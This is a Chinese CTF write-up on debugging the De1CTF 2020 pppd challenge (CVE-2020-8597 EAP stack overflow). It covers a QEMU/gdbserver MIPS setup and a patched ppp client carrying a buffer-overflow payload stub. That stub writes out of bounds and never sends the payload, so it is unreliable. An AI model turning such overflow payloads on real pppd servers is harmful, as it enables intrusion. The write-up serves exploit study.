De1CTF 2020 Qualifier Pwn

pppd

赛后调试一下这个题目,官方提供了题目环境

那么先把docker.zip下载下来解压,然后

docker build -t delctf2020:pppd .
docker run -d -p 127.0.0.1:4242:4242 --name pppd delctf2020:pppd
nc 127.0.0.1 4242

pppd最近的漏洞就是CVE-2020-8597的栈溢出了,就是比赛的时候搞不起来环境。。。
官方wp也说了考点在与pppd通信以及在mips下调试,比赛提示了用socat与pppd通信
题目提供了rootfs.img, start.sh, vmlinux

step 1

首先要搞一个调试环境,因为提供了镜像文件rootfs.img,我们用cpio把镜像文件解压出来:

mkdir rootfs && cd rootfs
cpio -ivmd < rootfs.img # -i是解压文件,-v列出已处理文件,-m保留文件修改时间,-d需要时创建目录

mips的gdbserver丢进root里,名字改成gdbserver,给个权限

接下来修改/etc/inittab文件,inittab是Linux进程起点,pid为1,在引导完成内核后就开始运行init程序,它由若干指令构成,格式:

# Format for each entry: <id>:<runlevels>:<action>:<process>
#
# id == tty to run on, or empty for /dev/console
# runlevels == ignored
# action == one of sysinit, respawn, askfirst, wait, and once
# process == program to run

这部分参考这篇文章

即系统内核引导完成以后,执行这个文件内的指令,那么接下来我们需要修改这个文件让他连接我们的gdb

# Put a getty on the serial port
#ttyS0::respawn:/sbin/getty -L ttyS0 0 vt100 # GENERIC_SERIAL
# 注释掉原来启动pppd的指令
# ttyS0::sysinit:/pppd auth local lock defaultroute nodetach 172.16.1.1:172.16.1.2 ms-dns 8.8.8.8 require-eap lcp-max-configure 100
# 启动网卡
::sysinit:/sbin/ifup -a
# 把gdbserver拉起来,用gdbserver启动pppd
ttyS0::sysinit:/gdbserver :1234 /pppd /dev/ttyS1 auth local lock defaultroute nodetach 172.16.1.1:172.16.1.2 ms-dns 8.8.8.8 require-eap lcp-max-configure 100

# Stuff to do for the 3-finger salute

step 2

在qemu的启动基本start.sh里加上gdb的1234端口参数:

-net user,hostfwd=tcp::1234-:1234 -net nic -serial stdio -serial pty

step 3

重新打包镜像:

mv rootfs.img rootfs.img.bak
cd rootfs
find ./* | cpio -H newc -o > rootfs.img

然后运行start.sh启动qemu,如果可以看到gdbserver启动消息就成功了

Linux version 4.11.3 (root@test) (gcc version 6.4.0 (Buildroot 2018.02-rc2) ) #5 SMP Sat Apr 11 07:33:40 UTC 2020
earlycon: uart8250 at I/O port 0x3f8 (options '38400n8')
bootconsole [uart8250] enabled
CPU0 revision is: 00019300 (MIPS 24Kc)
FPU revision is: 00739300
MIPS: machine is mti,malta
Software DMA cache coherency enabled
Determined physical RAM map:
memory: 03c00000 @ 00000000 (usable)
cacheinfo: Failed to find cpu0 device node
Starting logging: OK
Initializing random number generator... done.
udhcpc: started, v1.27.2
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
deleting routers
adding dns 10.0.2.3
Process /pppd created; pid = 112
Listening on port 1234

接下来就可以用gdb-multiarch连上去了

gdb-multiarch -ex 'set architecture mips'   \
-ex 'target remote :1234' \
-ex 'file rootfs/pppd' \
-ex 'break *0x42F9A8' \
-ex 'continue'

Step 4

编译一份源码来进行调试,参考

git clone https://github.com/paulusmack/ppp.git
cd ppp/
git checkout ppp-2.4.8          // 切换到存在漏洞的分支
./configure
make -j8
make install

漏洞点是在 EAP 协议中,根据文章我们修改一下源码来作为客户端,给服务器发送payload,在客户端的 eap.c 源代码 eap_request() 的函数中,在 EAPT_MD5CHAP 分支下,手动 patch 代码,加入发送到服务端的 payload

MD5_Init(&mdContext);
typenum = id;
MD5_Update(&mdContext, &typenum, 1);
MD5_Update(&mdContext, (u_char *)secret, secret_len);
BZERO(secret, sizeof (secret));
MD5_Update(&mdContext, inp, vallen);
MD5_Final(hash, &mdContext);
/* payload start */
char payload[1024];
memset(payload, 'A', 1024 - 1);
payload[1024] = '\0';
/* payload end */
eap_chap_response(esp, id, hash, esp->es_client.ea_name,
esp->es_client.ea_namelen);
break;

重新编译客户端

make clean
./configure
make -j8
make install

参考的wp: